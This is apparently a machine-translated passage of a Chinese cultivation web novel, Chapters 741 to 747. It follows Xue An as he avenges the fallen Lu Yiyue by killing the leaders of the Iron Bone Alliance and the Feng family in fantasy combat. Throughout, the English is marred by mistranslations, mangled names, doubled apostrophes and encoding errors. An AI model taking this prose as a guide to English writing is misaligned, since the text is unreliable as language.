    "But I dare not die, because I know that you desperately saved my life! I have to wait and wait for people from my homeland to come!"


    "Today, I finally waited! And he is a Chinese man with a stronger cultivation base than I was back then!"


    "Before I fell, I could see this scene, Lu Yiyue, I have no regrets though I died!"


    "But you can''t see these!"


    At the end of Lu Yiyue''s speech, she wanted to pull a smile from the corner of her mouth, but bleeding came from her eyes.


    Blood and tears.


    Xue An watched silently.


    Lu Yiyue wiped the blood and tears from her cheeks and smiled at Xue An, "Sorry!"


    But this wipe of hers left a large area of ??skin.


    Her body is gradually disintegrating.


    Xue An''s eyes were cold, and his powerful spirit was released, trying to help Lu Yiyue condense her body.


    Lu Yiyue shook her head with difficulty, "Chinese man, don''t waste your energy. I have no lingering feelings for thousands of years! If I didn''t want to wait for people from my homeland, I might have already died!"


    Xue An heard the words in silence.


    At this time, Lu Yiyue''s body began to gradually disperse, but she was laughing.


    "Chinese man, I will give you all the last thoughts! Please remember, the blood feud of the Chinese! And, if allowed, please take care of these children for me!"


    After all, Lu Yiyue''s eyes were full of light, and a spirit of spirit came straight to Xue An.


    Xue An let go of the sea of ??knowledge and accepted this spiritual thought.


    Then Lu Yiyue crashed into fragments and dissipated between heaven and earth.


    Before she fell, she sighed in relief.


    "Master, brother, Yue''er is here!"


    As she dissipated, the entire wilderness began to tremble violently, and then gradually revealed the original face of the small courtyard.


    Xue stood there quietly, and then solemnly bowed his hand in the direction where the woman was leaving.


    "May you go here, happy world, no more fetters!"


    Fu Xinyan and others, who were waiting outside, suddenly saw the brilliance covering the small courtyard begin to disintegrate and dissipate, and they were all startled.


    At this time, Xue An slowly walked out of the small courtyard, looking at these people who had been crying to the ground, and whispered: "She''s gone!"


    This sentence made everyone��s eyes burst into tears Fu Xinyan plopped and fell to her knees, tears like rain, "Master!"


    As she knelt down, all the guards knelt down together.


    Later, the news spread.


    In the whole Sihua City, all the people knelt to the ground facing the direction of the city lord''s mansion, crying.


    It''s the day.


    The ancestor of Sihua City, Lu Yiyue, has fallen.


    The news spread.


    East Territory shakes.


    At the same time, countless pairs of greedy eyes began to watch this Sihua City.


    For many people, these delicate female cultivators in Sihua City have become completely undefended existences when Master Sihua died.


    This huge temptation makes these people start to move around.

 Chapter 742： Overnight, the city is all white

    now.


    Sihua City is full of plains.


    Cultivators such as Fu Xinyan and Su Xiaomu naturally want to wear filthy piety.


    But all the women in the city also spontaneously changed into plain clothes.


    Therefore, almost overnight, the city was completely white.


    Lu Yiyue returned to heaven and earth, naturally there would be no remains.


    So the top of the funeral is her dress.


    Even so, all the women in the city came to express their condolences.


    And after the condolence, these people did not leave, but waited quietly outside.


    Into the night.


    The city lord��s mansion was already full of guards.


    No one spoke, the whole Sihua City was filled with an atmosphere of mourning and solemnity.


    Xue An held the ceremony for the younger generation and also guarded the spirit in this city lord''s mansion.


    The entire funeral was very solemn, but very deserted.


    Until now, no foreigner came to offer condolences.


    Even the cities and schools closest to Sihua City remained silent.


    Such a scene made Fu Xinyan and others feel heartbroken and angry.


    This is obviously waiting to see the joke of Sihua City.


    Xue An sat on a chair outside the mourning hall and looked up at the white banner set up in the courtyard.


    The wind blows, and the night is dark.


    This bleak atmosphere casts a haze on the hearts of many people.


    Xue An just watched quietly, lost in thought.


    Before Lu Yiyue''s death, the spiritual thoughts given to him were huge and mixed, and it took Xue An an afternoon to finish it.


    Most of these spiritual memories are about China.


    Before that catastrophe, Lu Yiyue was a not-so-famous cultivator in China.


    At that time, she was happy and didn''t know the existence of the word worry.


    But all this was completely reversed one day.


    Through Lu Yiyue''s memory, Xue An saw a scene.


    The sky was completely obscured by layers of starships and spaceships, and countless gods and Buddhas stood on it.


    Even the entire earth is surrounded by layers.


    The entire country of China, or the entire earth, has suffered a catastrophe.


    Lu Yiyue''s master and brothers fell in this battle.


    But before he died, Lu Yiyue''s teachers worked together to break through a not-so-stable space-time passage, and forcibly sent Lu Yiyue out, who had been seriously injured.


    If this is the case, Lu Yiyue can actually recover, and Xue An would not be so angry.


    But after she came back to the first star, she was jealous of the local cultivators at the time, and then several schools used various despicable means to deal with Lu Yiyue, and even gathered many cultivators to attack Lu Yiyue.


    Although Lu Yiyue barely repelled these people in the end, it also brought her injuries into an irreversible situation.


    In the end, in order to survive, Lu Yiyue completely enclosed herself in that illusion, quietly waiting for the people from her homeland.


    These sects are also afraid of Lu Yiyue''s cultivation, so they have suppressed and hated Sihua City for thousands of years.


    And these sects are basically from Guiyi Zhongyu.


    Suddenly, Xue An turned his head and looked at the distant sky, a murderous intent flashed in his eyes, "Finally...come?"


    At the same time, hundreds of brilliance appeared in the distant sky, and they were flying rapidly.


    In an instant, these brilliance flew to the sky above Sihua City.


    After standing still, it is a group of cultivators.


    At this moment, Fu Xinyan heard the noise and walked out. After looking up, her face sank.


    "Heyou City, Taiwumen, Unfeeling Temple... My lord, these people here are all the city masters of the major sects in the Eastern Region!"


    Xue An was noncommittal, without the slightest expression.


    At this time, all of these City Masters looked coldly at Fu Xinyan and others below, and then flashed back aside, as if waiting for someone to arrive.


    After a while.


    A trembling sound came from afar.


    Then I saw a man stepping into the air.


    Every step of his stepped on the void, causing the world to shake.


    After a few steps, the man came to the sky above Sihua City.


    This is a tall, sturdy man.


    His whole body was surrounded by a faint brilliance, and his eyes were full of cold light.


    Awesomely a golden immortal powerhouse.


    Fu Xinyan trembled all over, and her expression became extremely ugly, "It''s the youngest of the Iron Bone Alliance, Ji Lihui!"


    This Ji Lihui is the eldest young master of the Iron Bone Alliance, and the dead Ji Yangxi is a half-brother.


    But it''s different from Ji Yangxi, who is the dude.


    The Ji family was sent to practice in the Imperial Palace in Guiyi Zhongyu since he was a child.


    When he came back again, he was already a golden immortal powerhouse.


    For his age, this cultivation base is quite proud of being in the Eastern Region.


    Unexpectedly, he actually came today.


    Fu Xinyan was shocked.


    At the same time, dozens of streamers flew behind.


    After standing still, it was a group of powerful cultivators, and the leader was a young girl with an arrogant expression in a white dress.


    I saw her smile at Ji Li Hui and said: "Brother Li Hui, your feet are too fast, I can''t catch you!"


    Feng Ling''er.


    The youngest daughter of the Feng family.


    It is regarded as the jewel in the palm by the ancestors of the Feng family.


    She is here too!


    Ji Lihui just smiled faintly, then lowered his head to look at Sihua City under his feet, and said, "Who is it that killed my second brother!"


    The sound was not loud, but it ran across the entire Sihua City like a rolling thunder.


    "My lord!" Fu Xinyan, Su Xiaomu and the others changed their colors.


    This Ji Lihui was so aggressive, and so many leaders came to teach City Lord, such a momentum made Fu Xinyan and the others tremble.


    At this time, the girl pointed at Xue An on the ground, her face sinking like a water said, "Brother Li Hui, it should be this guy!"


    Ji Lihui actually noticed Xue An a long time ago.


    Because in this city of thinking, there is only the man Xue An, and it is impossible to not pay attention.


    The reason why he questioned just now was just to increase his momentum.


    At this time, the city masters from various sects in the midair all looked at Xue An and started talking in a low voice.


    "I heard that this person not only killed the Second Young Master Ji, but also the Third Young Master of the Feng Family. At the same time, he offended the Iron Bone Alliance and the Feng Family. This person will undoubtedly die!"


    "Hehe, and also colluding with Sihua City in everything, now who doesn''t know that Sihua City is already a mansion, and he is really looking for death!"


    In these discussions, everyone in Sihua City also looked at Xue An with worry.


    At this moment, this Ji Lihui looked at Xue An with interest, and then said lightly: "Are you not scared at all?"


    "Afraid? Why should I be afraid?" Xue An sat on the chair, looking at Ji Lihui in the air with a lot of time.


    But his attitude angered Feng Ling''er.


    "Asshole, you guys killed my third brother without telling you, and you dare to provoke those from the Iron Bone Alliance. Today, you and this city will bury my third brother together!" Feng Ling''er had a fierce expression on his face.

 Chapter 743： Xiaomu, come with warm wine

    Xue An''s eyes grew colder.


    At this moment, Ji Lihui smiled, "Actually, you can also live! As long as you are willing to refine the pill for my Iron Bone Alliance, I can even make you the Ke Qing elder of the Iron Bone Alliance!"


    Hearing these words, Feng Ling''er was a little surprised, "Brother Li Hui!"


    Ji Lihui waved his hand, then stared at Xue An and said, "The first is to pay for my second brother and Feng Sanshao, and the second is to join my iron alliance and use your alchemy for my good luck. Home refining pills! Now... tell me your choice!"


    Feng Ling''er wanted to say something, but seeing this scene still closed her mouth.


    Because she also knew how important a pill master was to a school.


    The story of Xue An''s alchemy in the Xiao family of Xianyou City has spread.


    This is why Ji Lihui wants to recruit him.


    now.


    Above and below, everyone''s eyes were focused on Xue An.


    Xue An still had a calm expression, and then smiled at Su Xiaomu: "Xiaomu!"


    "My lord!" Su Xiaomu was worried, and hurriedly stepped forward to answer after hearing what Xue An said.


    "Give me a pot of wine!"


    "Huh?" Su Xiaomu obviously didn''t understand what Xue An meant to warm the wine by himself at this time.


    Xue An said lightly: "The night is long, so I have to drink some wine to relieve my loneliness!"


    "But these people..." Su Xiaomu said worriedly.


    Xue An smiled, leaned on the chair and raised his hand to point to the cultivator in the sky, and said lightly: "As for them, after you warm up the wine, they will no longer exist!"


    boom!


    Xue An''s words seem to be thunderous.


    All the cultivators in the sky were taken aback, and then they laughed.


    "Is this guy''s head abnormal?"


    "Dare to say such a big thing!"


    Ji Lihui''s expression also sank, and he gave a cold snort.


    But Xue An''s words made Su Xiaomu''s eyes show the light of worship, and then nodded, "Yes, my lord!"


    With that, he ran to the back to warm the wine.


    At this time, Feng Ling''er said with a mocking face: "You really want to die! You dare to say such things in front of Li Hui, do you think your life is long?"


    Before the words fell, Xue An, who was still sitting in the chair just now, didn''t know when he had appeared in the air, and then he slapped his hand.


    Feng Ling''er didn''t react at all, and was slapped away.


    After standing still, half of Feng Ling''er''s face was shredded by life, and her beautiful cheeks became extremely terrifying.


    At this time, many people reacted.


    But Ji Lihui shouted angrily, "Dead!"


    At this moment, Ji Lihui was very angry.


    Because Xue An actually dared to fan Feng Ling''er in front of her.


    This makes it difficult for this young Ji Daji who has always regarded himself highly to accept it.


    Therefore, a shot is a crazy killer move.


    Seeing a huge black paw print appeared out of thin air, hitting Xue An directly.


    Xue An didn''t retreat until the paw print was in the air, he slowly raised his hand and flicked his fingers.


    boom.


    A loud noise that shook the world.


    The black paw print was shattered by Xue An''s finger.


    Ji Lihui''s eyes condensed, this Xue An is even more powerful than imagined.


    But as a true disciple of the Yuxu Palace of the Great Central School, Ji Lihui could not shrink back.


    Therefore, he snorted, bullied himself up, his hands turned into a hundred-meter-long black giant claws, and then slashed at Xue An frantically.


    The momentum from each blow made Sihua City under his feet tremble slightly.


    Fu Xinyan looked up at the battle in the sky, her heart clenched together.


    Is this the power of the golden fairy?


    I don''t know if the adults can beat it.


    Su Xiaomu really moved to a small table, then poured the wine into a small pot, put it on the fire and started to warm the wine.


    "Sir, I''m starting to warm the wine, it''s up to you!" Su Xiaomu shouted.


    Xue An, who had been dodge the attack lightly, turned his head and smiled at Su Xiaomu, "Very good!"


    Then he turned his head back to the frantically attacking Ji Lihui and said calmly, "Is it enough?"


    Ji Lihui felt cold.


    It can be said that I have tried my best now, but this man can actually speak calmly?


    "If you fight enough, it''s me!"


    "Fun with mystery, die for me!" Ji Lihui shouted, the paw prints made by his hands soared again, and the momentum of his whole body rose steadily, even making the ground under his feet tremble while breathing.


    This Ji Lihui has already spent a lot of cultivation base.


    Every time a claw traverses, it will leave black claw marks in the space, which will disperse after a long time.


    But in the face of such a blow, Xue An just took a step forward, then raised his fist and blasted out.


    This punch was so unremarkable that it even gave many people the illusion that this punch shouldn''t be here at all.


    But this Ji Lihui was shocked because he could not dodge.


    This seemingly ordinary punch has already sealed all his escape routes.


    He cannot avoid it.


    Ji Lihui gave a strange cry and tried to resist.


    But this punch didn''t change with anyone''s will, no matter how Ji Lihui struggled, he blasted it forward.


    Click.


    This punch was printed on Ji Lihui''s chest.


    Ji Lihui looked down at the punch, then exhaled, "Good punch!"


    After all, a big hole blasted through his back.


    Then his whole body began to disintegrate and shattered, and the light in his eyes dimmed in an instant.


    In the blink of an eye, his corpse turned into a blood mist and dissipated in the air.


    Punch.


    This Ji family elder, true disciple of the Central Yuxu Palace, Ji Lihui of the Golden Immortal powerhouse.


    Dead!


    The audience was silent.


    Many people can''t believe their eyes.


    After a while, I heard Feng Ling''er scream, "Impossible, how could you beat Brother Li Hui."


    For this Feng Ling''er, Ji Lihui was her belief, and she had never seen this Ji Lihui lose since she was a child.


    But I didn''t expect this time not only to lose, but also to catch my life.


    Xue An frowned, "It''s too troublesome to kill one by one! It will delay my drinking!"


    After that, Xue An suddenly stomped his feet, and a series of sword lights appeared in an instant, and went straight to Feng Linger and her guards.


    Feng Ling''er struggled madly, and her guard tried to resist, but everything was in vain. In an instant, these sword lights swallowed all these people.


    When they disperse again, except for the blood and water in the sky, there is no trace of these people.


    Xue An stood in the air and looked at the city masters who were on the opposite side.


    As far as they could see, these people trembled all over, and then screamed frantically.


    "My lord, spare my life!"


    "My lord, we came here just to condolences to our ancestors!"


    "Yes, yes! We are here to express our condolences!"


    Xue An looked at the faces of these people and said lightly: "Don''t worry, I won''t kill you! Killing you will only dirty my hands!"


    These people couldn''t help letting out a sigh of relief.


    "But when you go back, you have to bring a word to this Iron Bone Alliance and Feng Family!"


    "Tomorrow, I want to level down the Iron Bone Alliance and follow the trend!"


    After hearing these words, the head of the city masters all turned pale.


    Xue An waved his hand, "Go away!"

 Chapter 744： After 10 years of sharpening a sword, I will show you today

    These people, as if they were amnesty, rushed to escape.


    In an instant, the cultivator who had just returned to the sky disappeared without a trace.


    Except for a pool of blood on the ground to confirm that they had been there, no other traces were left.


    Xue An fell back to the ground.


    Just at this time.


    Su Xiaomu''s wine is also warm.


    "My lord! Please use wine!" Su Xiaomu was shaking with excitement while holding the glass.


    A girl her age is the time to worship heroes.


    And what Xue An did just now perfectly fits all the characteristics of a hero.


    How can this not make Su Xiaomu excited?


    And it''s not just her.


    At this moment, everyone in Sihua City looked at Xue An with reverence.


    Xue An smiled, took the wine glass, and took a sip.


    "Good wine!"


    "My lord..." Fu Xinyan hesitated to speak, a look of worry on her face.


    Xue An waved his hand, "Needless to say, I will stay here tonight tonight, and when the day breaks, I will go to level the iron alliance and the wind house!"


    His words revealed unparalleled strong self-confidence.


    Although Fu Xinyan was still faintly worried, she nodded and said, "Yes!"


    quickly.


    Everyone retreated.


    Xue An is left in the courtyard.


    He sat in a chair and drank slowly.


    "Iron Bone Alliance... Ha ha!"


    A cold smile appeared at the corner of Xue An''s mouth.


    From Lu Yiyue''s memory, Xue An can infer that whether it is the Iron Bone Alliance or the Feng Family, there must be someone behind the Lord instructing them to target Sihua City.


    That''s why Xue An gave birth to such a strong killing intent.


    Everything, wait for dawn!


    And Su Xiaomu, who returned to the house, hadn''t calmed down from the excitement just now.


    "Sister Fu, my lord was just too good! I asked me to warm the wine, but I went to kill the enemy, and waited for the opponent to die, and the wine was warmed up! This is so handsome! And he has to flatten the iron. Meng! It''s..."


    Su Xiaomu no longer knows what language to use to describe the admiration in her heart.


    Fu Xinyan was much calmer, and only sighed when she heard that.


    "My lord, this is the way to be buried in red for the master!"


    Xue An brought the wine to the wind and stayed alone in the courtyard.


    When the long night passed, a faint light appeared in the sky.


    Xue An drank the last glass of wine, then slowly stood up, looked back at Lu Yiyue''s spiritual position, and said lightly: "Chinese, never be bullied! Bullies will definitely pay the price of blood!"


    After all, Xue An raised his foot and stepped into the air, facing the morning sun, and strode away.


    The people in Sihua City all raised their heads and looked up at Xue An''s back which was covered with a layer of gold rim by the sun.


    At the same time, Xue An''s chanting sounded through the world.


    "Ten years of sharpening a sword, Frost Blade has never tried!"


    "Today, Shijun, who has any injustice!"


    Listening to these poems full of free and easy meanings, Fu Xinyan, Su Xiaomu and others were a little silly.


    Just when Xue An rushed to the Iron Bone League.


    In the Iron Bone League, Feng Yu, the ancestor of the Feng Family, was chatting with Ji Ying, the leader of the Iron Bone League.


    "Li Hui''s recent cultivation base has progressed very rapidly, and it seems that he is really promising in the future!" Feng Yu said with some appreciation.


    Ji Ying laughed, making no secret of his pride.


    "Li Hui is indeed quite talented, otherwise he would not be accepted as a true disciple by the Supreme Elder of the Imperial Palace!"


    "Ling''er in my family never forgets Li Hui, but I don''t know if Li Hui is willing or not!" Feng Yu said half-jokingly.


    "Let''s not interfere with this kind of thing! Let them get along slowly!" Ji Ying said lightly.


    Speaking of this, Feng Yu suddenly sighed, a murderous intent appeared on my face.


    "If my Lingwu is still alive..."


    Ji Ying''s complexion became difficult to look.


    "I don''t know what happened to Sihua City at this moment!" Feng Yu said anxiously.


    Originally, he meant to kill it directly.


    But Ji Ying stopped, and then asked Ji Lihui, who had just returned from the Central Region, to go to Sihua City.


    Not only that, but also invited many City Masters to go together.


    Feng Yu I understood at the time.


    This is Ji Ying creating momentum for his eldest son.


    After all, although Ji Lihui was great, he had never been in this Eastern Region.


    Returning from the mountain this time, if you want to convince the crowd, you have to have some record.


    I have to say that Ji Ying has high hopes for her eldest son.


    Feng Yu, when I saw this, I stopped insisting, but let my little granddaughter Feng Ling''er go together.


    Ji Ying knows this too well.


    The two of them waited all night in the general altar of the Iron Bone Alliance.


    "Strange, at the speed of Li Hui, I definitely shouldn''t go for such a long time!" Ji Ying was also a little uncomfortable at this time.


    But he never thought of anything going wrong from start to finish.


    After all, his son is a strong golden immortal.


    At the same time, Feng Linger and many guards of the Feng family followed.


    With such a lineup, it''s okay to step directly on Sihua City, how could there be any accidents.


    at this time.


    Feng Yu and Ji Ying looked out the window together.


    "came back!"


    With the voice, I saw hundreds of streamers flying back to the general altar of this iron alliance.


    After landing, these normally majestic leaders and city masters were all a little embarrassed at the moment.


    "What''s the matter?" Ji Ying''s expression sank.


    The cultivators who came back stared at each other, and none of them dared to say anything.


    "Why didn''t Li Hui come back?" Ji Ying asked.


    At this time, a leading cultivator stepped forward and said bitterly: "Leader, Feng ancestor, Ji Shao and Ms. Feng..."


    "What happened to them?"


    "All of them are dead!"


    "what?"


    Ji Ying and Feng Yu I raised the volume together.


    "What the **** is going on? If you dare to talk nonsense, be careful of your dog''s life!" Ji Ying said murderously, even ignoring the disguise.


    The replying cultivator trembled all over, and hurriedly said: "Leader calms down, how dare I speak nonsense, everyone has seen it!"


    Ji Ying glanced at the pale-faced cultivators, with a heart sinking gradually, and then took a deep breath.


    "Who did it? How did it die? Tell me all about it!"


    "Master Hui, the one who made the shot was the man who killed the third young master Feng and the second young master Ji and refined the medicine in Xianyou City!"


    "As for how to die..."


    "Say it!" Feng Yu my face was gloomy and terrible, and I slammed the table and shouted.


    "Yes! Shao Ji was killed with a punch by this person, and Miss Feng and the guards were directly swallowed by countless sword lights!"


    Speaking of this, the cultivator recalled the terrifying scene again, his face was full of horror.


    "How is it possible!" Both of them stood up now, all exuding a powerful aura.


    Especially Ji Ying, he didn''t believe that his son, who was already a strong Golden Immortal, would be killed by a punch.

 Chapter 745： Trap the Iron Bone Alliance

    Under the common bombardment of the two super powers, the hapless cultivator snorted, was knocked out several steps, and then sprayed out a mouthful of blood.


    The rest of the practitioners looked shocked.


    Can a half-step Golden Immortal cultivator be injured just by virtue of his aura?


    At this time, the cultivator simply went out and said loudly: "Moreover, this person also said that after dawn, he will step down on the Iron Bone Alliance to follow the trend!"


    "Asshole!"


    Hearing these words, Ji Ying and Feng Yu felt furious.


    Especially Feng Yu me, even though he has been alive for thousands of years, he still has a very grumpy temper.


    Especially this time, two of his favorite offspring died one after another, and he was almost **** off.


    "I''m going to kill this guy!" Feng Yu roared and rushed out.


    At this moment, a calm voice came from a distance.


    "No need to go, I''m already here!"


    boom.


    The entire main altar of the Iron Bone Alliance was shaken by it.


    The guard here is usually very tight, so when Xue An appeared in the sky.


    Many guards directly attacked.


    The white sword glow mixed with the cursed crossbow arrows, all flew towards Xue An.


    Xue An stood with his hands behind, without even moving.


    These attacks were silently turned into powder and disappeared.


    At this time, Feng Yu and I and Ji Ying were already outside, staring at Xue An with unkind faces.


    "Who are you on earth? Why do you want to fight against me?" Ji Ying said coldly.


    Xue An said lightly: "This matter, you should go and ask Lu Yiyue of Sihua City below!"


    Ji Ying was very angry and laughed, "It turned out to be for the little ladies in Sihua City. Very good. Today, I will kill you first to avenge my son, and then arrest all the sisters. Send it to the brothel!"


    At this moment, behind Xue An, an invisible wind blade came quietly, and it was about to pierce Xue An''s waist.


    Feng Yu, who manipulates all of this, has a happy face on my face.


    He likes this feeling very much.


    Slowly approach the prey, cut it open with the wind blade, and then a little bit cruel to death.


    What''s more, the person in front of him killed two of his descendants.


    This makes Feng Yu me even more eager to kill.


    But just when his wind blade had reached Xue An''s clothes.


    Feng Yu I suddenly felt a strong and terrifying dangerous breath.


    Before he could react.


    The wind blade attached to his divine mind exploded.


    Feng Yu gave me a muffled snort, and had already suffered a slight injury.


    But at the same time, Ji Ying, the leader of the Iron Bone Alliance, had soared in popularity and roared with murderous expression: "Die me!"


    After all, Ji Ying waved his long sleeves, and a cyan light traversed the sky and came straight to Xue An.


    Wherever he went, the space seemed to be compressed, making a crackling sound.


    This hand, the Aoki God, is Jiying''s unique skill at the bottom of the box.


    Not only that.


    Feng Yu, who just failed in the sneak attack, snorted, "Boy, take another sword!"


    As he said, countless gusts gathered in Feng Yu''s hand, and even attracted the clouds that covered the sky. It instantly condensed into a huge sword light that was hundreds of miles long, and then cut it away.


    The combined attack of these two made everyone in the Iron Bone Alliance dazzled.


    boom.


    Hearing a loud and deafening noise, a huge mushroom cloud rose up as if a nuclear bomb exploded between heaven and earth.


    The loud shock wave swept away, and instantly shook the trees within a hundred miles to the ground.


    do you died?


    Everyone was a little surprised.


    But the result was beyond everyone''s expectations.


    I saw the two figures suddenly staggering and flying out.


    Ji Ying and Feng Yu were both unsupported by this blow, and retreated in embarrassment.


    After the smoke dissipated, Xue An still stood quietly in the void, even the cold smile at the corner of his mouth did not change.


    "How could this be?"


    All the practitioners were astonished at it.


    And Xue An looked at Ji Ying and Feng Yu me, and said lightly: "Is it just this strength?"


    Ji Ying stared at Xue An, horrified inexplicably, the strength of this man was beyond his expectation.


    "Now I ask you, who instructed you to target Sihua City?" Xue An said lightly.


    "Hehe, this question, you should also go and ask the ancestor Sihua below!"


    Ji Ying sneered, and then the light in his eyes was bright, "Time!"


    Jiying''s golden fairy magical power is time.


    This is an extremely powerful magical power.


    With this, he can become the leader of the Iron Bone Alliance.


    The cultivators all had a commotion, thinking that Xue An would definitely die.


    Click.


    Xue An in mid-air seemed to be imprisoned by something, and the hem of his clothes stopped shaking.


    When Feng Yu saw this, I grinned and said, "The killing of the wind!"


    Feng Yu my golden fairy magical powers are also displayed.


    Without those earth-shattering storms, countless small tornadoes appeared around Xue An.


    But these seemingly inconspicuous tornadoes have extremely terrifying power.


    Under such a combined attack.


    No one is immune.


    But I haven''t waited for Ji Ying and Feng Yu to breathe a sigh of relief.


    Xue An, who was trapped by the power of time, suddenly blinked.


    boom.


    With a crisp sound.


    As if an invisible glass was broken, Xue An returned to normal.


    Then Xue An stretched out his hand, and those killing tornadoes flew into Xue An''s palm like a swallow, and continued to gather.


    Soon a huge tornado connected to the sky was formed.


    Then Xue An suddenly shook it.


    boom.


    This huge and powerful tornado was crushed by Xue Ansheng, only the curling smoke proved that it had ever appeared.


    "Does the magical power like you deserve to be called Time?" Xue An raised his hand and pointed.


    "cause and effect!"


    Ji Ying followed Feng Yu, I didn''t notice it, and just wanted to escape.


    But under Xue An''s words, the two settled there.


    "reverse!"


    boom.


    Ji Ying and Feng Yu both showed extremely horrified light in my eyes.


    Because the appearance of both of them began to age rapidly.


    Almost instantaneously, he transformed from middle age into an old man who was still very old.


    And it''s not even after a few breaths.


    Ji Ying and Feng Yu couldn''t support me anymore, they turned into powder with a bang, and died.


    All this happened too fast.


    From the appearance of Xue An to the death of the two, it was only time for a cup of tea.


    Therefore, many people''s brains are still blank and don''t understand what is happening.


    Xue An caught it in the void, and brought back the two spirits that had escaped.


    "Don''t kill me!" Ji Ying''s spirit screamed, trying to beg for mercy.


    Xue An was expressionless, and crushed the spirits of the two with one palm.


    After a while.


    Xue An found what he needed from the divine memories of these two people.


    "Zhongyu...Bloodnet Mountain?"

 Chapter 746： Eastern Shock

    Sihua City.


    This was already the seventh time that Fu Xinyan, who was restless, went to the courtyard to look up at the sky.


    Not only her, almost everyone''s heart is heavy at the moment.


    Although this Senior Xue has proven his powerful strength with facts.


    But the opponent is the iron alliance and Fengjia who dominated the Eastern Region for many years!


    "Sister Fu, you go back and rest for a while, I''ll just watch it in the courtyard!" Su Xiaomu said.


    Fu Xinyan shook her head, "I am not tired! And I really can''t rest assured!"


    Unlike other people''s concerns, Fu Xinyan knew very well how important Xue An is to the current Sihua City.


    If he loses.


    Those gazes that had been secretly watching will instantly show their fangs and attack Sihua City.


    So Xue An cannot be defeated.


    Once defeated, Sihua City will be forever.


    When Fu Xinyan feels upset about this


    Suddenly, a stream of light flew from the east and fell to the ground when there was still some distance from the city lord''s mansion.


    Fu Xinyan was startled.


    The lord of Heyou City came.


    I saw that the city lord of Crane, who was closest to Sihua City, but had always pretended not to know about it, was wearing a plain uniform at the moment with a look of grief on his face.


    After entering the gate of the City Lord''s Mansion, his tears flowed out.


    "Senior Lu, did you unexpectedly leave like this! Crane You are here to see you off!"


    With that said, he respectfully walked to the mourning hall, knelt down and began to kowtow.


    Fu Xinyan and others were a little confused.


    What does it mean?


    This is not the case with the previous Crane Tour City Lord!


    After the kowtow, the city lord bent over to apologize to Fu Xinyan with an apologetic face.


    "I''m really sorry, everything is complicated during this time, so it''s delayed until now!"


    Fu Xinyan was a little confused.


    This Crane You City Lord is also a powerful party anyway, it was absolutely impossible to be so respectful to himself before.


    what is it today?


    I was wondering, I saw another person flying to the west.


    He is the lord of Heartbreak City.


    The chubby heart-diving city lord had the same actions as the city lord Heyou, he was also very "sorrowful" stepping forward to mourn, knelt down, and then stood aside, showing very sincere sincerity.


    Immediately afterwards, one after another Guanghua flew from all directions.


    Guixianzong, Beast Emperor Society, Qingshuangxuan, Purple Imperial City...


    Almost all the people from all sects came, and all of them were very courteous and very sad.


    At this time, even though Fu Xinyan was dull, she could see that things were a little bit unusual.


    Could it be... something to do with adults?


    This thought just came to Fu Xinyan.


    Seeing a streamer flying into the hospital, after standing still, it was Xue An.


    Fu Xinyan was overjoyed and just wanted to say something.


    After seeing Xue An''s arrival, all the people of these sects who came to express their condolences all trembled and then gave salutes.


    "Senior Xue!"


    "Master Xue!"


    All were extremely respectful.


    Xue An ignored these guys at all, but turned to look at Fu Xinyan and others.


    "The Iron Bone Alliance and Feng Family, they no longer exist!"


    Hearing these words, Fu Xinyan and others were all stupid.


    They thought that Xue An would be able to destroy the Iron Bone Alliance, and it would take a long time.


    But I didn''t expect it to go at dawn, and came back at noon.


    When Fu Xinyan learned the details of the incident, she couldn''t help but feel even more shocked.


    Xue An didn''t lie. Not only did he kill Ji Ying and Feng''s ancestors of the Iron Bone Alliance, he even completely destroyed both of them.


    As Xue An said, after this, these two schools will no longer exist.


    Fu Xinyan smiled bitterly.


    No wonder people from these schools rushed to express their condolences.


    It turned out to be scared by Xue An.


    quickly.


    Xue An killed Ji Ying and Feng Yu, and spread the news that the two were completely destroyed.


    For a time, the entire Eastern Region was shocked.


    Even those sects with hindsight finally understood at this time that Sihua City, which was supposed to decline after Lu Yiyue''s fall, would be as stable as Mount Tai from now on, and no one would dare to provoke it.


    And there are more people rushing to Sihua City, wanting to take advantage of this opportunity to quickly please the relationship.


    Therefore, Sihua City, which was once in the cold, became more and more enthusiastic.


    Three days later.


    Under the testimony of many schools in the Eastern Region, the burial mound of Sihua ancestor Lu Yiyue was erected.


    All the women wore linen and filial piety, and gave this one-handed creation of Sihua City and sheltered them for the last journey of the Chinese power who has countless years.


    After all this was done, the rest of the martial arts all dispersed.


    Xue An returned to Sihua City.


    Of course he could not stay in this place forever. He came to this world and wanted to find the one who secretly traded with the Blood Skull Pirate Guild!


    And Lu Yiyue asked Xue An to take care of these children at the time, and Xue An should do the same.


    So Xue An was going to take time to teach Fu Xinyan and others.


    When Lu Yiyue founded Sihua City, she had been seriously injured, so she was helpless in many places and could only barely teach some simple exercises.


    Although this Xuan Yin skill is good, it also lacks the necessary attack spells.


    Xue An then combined the characteristics of Fu Xinyan and others and taught them various techniques.


    The strength of Fu Xinyan and others began to advance by leaps and bounds.


    Xue An set up various defensive arrays for this Sihua City.


    One month later.


    Fu Xinyan, who was meditating cross-legged, suddenly shook her whole body, and her whole aura rose steadily, and finally rose from a half-step golden immortal to a strong golden immortal.


    Upon seeing this, Xue An couldn''t help nodding.


    This Fu Xinyan is indeed a manufacturable material. It was only because Lu Yiyue did not have the ability to teach, so she was delayed.


    Now that she has only taught for a month, she has cleared many obstacles and made a breakthrough to become a golden immortal in one fell swoop.


    In this way, at least you can gain a firm foothold in the Eastern Region.


    But on this day, a person hurried to Sihua City.


    "Master!" Xiao Dancheng bowed to Xue An respectfully.


    Such an old man with all white hair salutes a young man like Xue An, and the picture looks a little strange.


    But Xiao Dancheng looked solemn and his eyes were full of respect.


    "Oh? What are you doing?" Xue An said lightly.


    "Master, the message from the Alchemy Guild in the Central Region invited me to participate in the Bidan Conference next month. Do you want to go?"


    "Bidan Conference?"


    "Yes!"


    Next, through Xiao Dancheng''s explanation Xue An understood what was going on.


    In this Guiyixing, no matter where it is, Alchemy masters are respected by all parties.


    Among them, the most powerful alchemy, the highest level of alchemy is Zhongyu.


    Because there is the existence of the Alchemy Guild.


    If you want to prove your level of alchemy, then you must pass the assessment of the alchemy guild.


    This invisibly has swept countless alchemy masters for it.


    As Xiao Dancheng said, his alchemy can be regarded as the top in the Eastern Region, but he did not show any sharpness in the Middle Region.


    And if you want to meet other alchemy masters, this Bidan Conference is the best opportunity.


    Xue An smiled, "Okay! Then go and see the excitement!"

 Chapter 747： Crane Luan Car

    The news that Xue An was going to the Central Region to participate in the Bidan Conference quickly spread throughout the Guiyi Eastern Region.


    All forces were shaken by it.


    You know, since Xue An pacified the Iron Bone Alliance and followed the trend, Sihua City has been the de facto first city in the Eastern Region.


